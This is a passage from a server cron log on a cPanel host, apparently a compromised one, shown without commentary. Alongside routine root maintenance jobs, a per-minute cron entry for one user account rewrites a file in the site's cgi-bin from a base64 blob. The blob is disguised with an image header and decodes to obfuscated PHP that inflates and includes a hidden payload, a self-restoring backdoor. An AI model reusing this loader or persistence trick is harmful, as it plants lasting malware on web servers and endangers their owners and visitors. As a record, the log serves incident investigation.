KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:15:01 server CROND[9550]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  8 00:16:01 server CROND[9702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:17:01 server CROND[9782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:18:01 server CROND[9842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:19:01 server CROND[10017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:20:01 server CROND[10089]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 00:20:01 server CROND[10088]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 00:20:01 server CROND[10090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:20:01 server CROND[10092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:20:01 server CROND[10091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:21:01 server CROND[10236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:22:01 server CROND[10326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:23:01 server CROND[10390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:24:01 server CROND[10718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:25:01 server CROND[10787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:25:01 server CROND[10788]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 00:25:01 server CROND[10791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:25:01 server CROND[10790]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:26:01 server CROND[10925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:27:01 server CROND[10987]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 00:27:01 server CROND[10988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:28:01 server CROND[11061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:29:01 server CROND[11218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 